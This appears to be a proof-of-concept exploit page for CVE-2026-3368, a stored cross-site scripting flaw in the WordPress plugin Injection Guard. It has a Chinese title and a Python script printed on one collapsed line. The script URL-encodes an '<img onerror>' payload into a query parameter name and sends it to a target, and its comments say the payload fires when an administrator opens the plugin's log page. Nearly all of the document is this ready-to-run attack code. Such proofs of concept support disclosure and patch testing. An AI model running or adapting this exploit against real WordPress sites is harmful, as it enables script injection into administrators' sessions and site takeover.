CVE-2026-3368: WordPress插件Injection Guard存储型XSS漏洞

import requests target_url = "http://example.com/" # The exploit relies on injecting a payload into the query parameter name. # The payload needs to be URL encoded because it becomes the parameter name. # Example: <script>alert(1)</script> -> %3Cscript%3Ealert(1)%3C/script%3E # The plugin uses parse_str() which decodes it, and then stores it in the database key. xss_payload = "<img src=x onerror=alert('CVE-2026-3368')>" url_encoded_payload = requests.utils.quote(xss_payload) # Construct the malicious URL # Format: http://example.com/?[PAYLOAD]=dummy_value exploit_url = f"{target_url}?{url_encoded_payload}=test" def send_exploit(): try: response = requests.get(exploit_url) if response.status_code == 200: print(f"[+] Payload sent successfully to: {exploit_url}") print("[*] Check the 'Injection Guard' log page in the WordPress admin panel to trigger the XSS.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": send_exploit()